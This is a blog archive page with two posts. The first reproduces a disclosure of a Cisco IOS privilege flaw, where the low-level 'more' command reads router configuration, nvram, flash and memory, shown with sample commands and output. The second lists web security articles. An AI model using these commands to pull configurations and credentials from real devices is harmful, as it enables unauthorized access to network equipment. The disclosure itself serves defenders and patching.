Showing posts with label vulnerability. Show all posts
Showing posts with label vulnerability. Show all posts
Saturday, March 4, 2017
More Cisco more vulnerability
More Cisco more vulnerability

A possible security flaw was detected because of privileged command restrictions, in particular "more" command that allows attackers to obtain router configuration stored in nvram, system (RAM), flash elements.
If more command access settings are configured as privilege exec level {number} more, opposed to commands like show, disk element access is propagated to all lower levels that could allow unauthorized users to obtain router memory and its elements nvram, system (RAM), flash.
Such problems are detected for IOS routers and switchers 12.2, 12.3, 12.4, 15.0.
Details
IOS 12.2, 12.3 limit access to configuration that can be obtained from system:running-config, but prevent reading directly from router memory (system:memory) to get the data, also reading from configuration and other files in routers flash and nvram can is not limited.
IOS 12.4, 15.0 opposed to versions 12.2, 12.3, do not limit access from all routers elements nvram, system (RAM), flash.
More details and how to fix are available here: http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtk17827
Example 1. How to get configuration
Cisco 3550-12T (12.2(50)SE)
C3550 Software (C3550-IPSERVICESK9-M), Version 12.2(50)SE)
Device configuration:
!version 12.2no service padservice timestamps debug uptimeservice timestamps log uptimeservice password-encryption!hostname C3550!
!snmp-server community RO !control-plane!privilege exec level 8 access-templateprivilege exec level 8 clear access-templateprivilege exec level 8 clearprivilege exec level 3 moreprivilege exec level 3 show!line con 0line vty 5 15!end"show" command (low level privileges):
C3550#show running-config ^% Invalid input detected at ^ marker.C3550#show startup-config ^% Invalid input detected at ^ marker."more" command (low level privileges):
C3550#more flash:config.text!version 12.2no service padservice timestamps debug uptimeservice timestamps log uptimeservice password-encryption!hostname C3550!enable secret 5 !username ptuser privilege 3 password 7 aaa new-model
!snmp-server community RO !control-plane!privilege exec level 8 access-templateprivilege exec level 8 clear access-templateprivilege exec level 8 clearprivilege exec level 3 moreprivilege exec level 3 show!line con 0line vty 5 15!endSo in spite the fact that device configuration access via show command is restricted, an attacker can get the configuration via "more" command.
Example 2
C3550#more nvram:startup-config!version 12.2no service padservice timestamps debug uptimeservice timestamps log uptimeservice password-encryption!hostname C3550!enable secret 5 !username ptuser privilege 3 password 7 aaa new-model
!snmp-server community RO !control-plane!privilege exec level 8 access-templateprivilege exec level 8 clear access-templateprivilege exec level 8 clearprivilege exec level 3 moreprivilege exec level 3 show!line con 0line vty 5 15!endC3550#more system:?system:default-running-config system:memory system:running-configsystem:vfilesC3550#more system:running-config00000000: 0A210A21 0A210A21 0A210A21 0A656E64 .!.! .!.! .!.! .end00000010: 0AXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX .XXX XXXX XXXX XXXXExample 3. Device memory
An attacker can read Cisco device memory, get history and configurations via «more system:memory/main» command.
![]() |
| Commands history (including passwords) |
![]() |
| How to get configuration via memory |
HTF
Install the version that is not vulnerable.
Details are available here: http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtk17827Vulnerability discovered by: Sergey Pavlov, Roman Ilin (Positive Research Center)
Available link for download
Labels:
cisco,
more,
vulnerability
Tuesday, January 31, 2017
More Web security vulnerability assessment audit and pen testing resources
More Web security vulnerability assessment audit and pen testing resources
Ive been busy in the world of Web security testing - both with work and with writing. Check out these new pieces on the subject. I suspect Ill tick off a "researcher" or two given my business angle and 80/20 Rule-approach of focusing on the most problematic areas of Web security...Still, I hope that these are beneficial to you and what youre trying to accomplish in your organization:
Key Web application security metrics
Taking politics out of the Web security equation
Getting back to basics with Web security
Core causes of Web security risks and what you can do about them
Security Considerations When Using AWS Cloud Services
The Big Security Oversight When Using Amazon Web Services
Dont forget to check out all of my other information security content at www.principlelogic.com/resources. - See more at: http://securityonwheels.blogspot.com/#sthash.hRUYP9DQ.dpuf
Dont forget to check out all of my other information security content at www.principlelogic.com/resources. - See more at: http://securityonwheels.blogspot.com/#sthash.hRUYP9DQ.dpuf
By the way, with the continued banter/debate around vulnerability assessments v. audits. v. pen tests, heres my two cents on the subject:
Is it a pen test, an audit, or a vulnerability assessment?
Dont forget to check out all of my other information security content at www.principlelogic.com/resources
Available link for download
Labels:
and,
assessment,
audit,
more,
pen,
resources,
security,
testing,
vulnerability,
web
Subscribe to:
Posts (Atom)

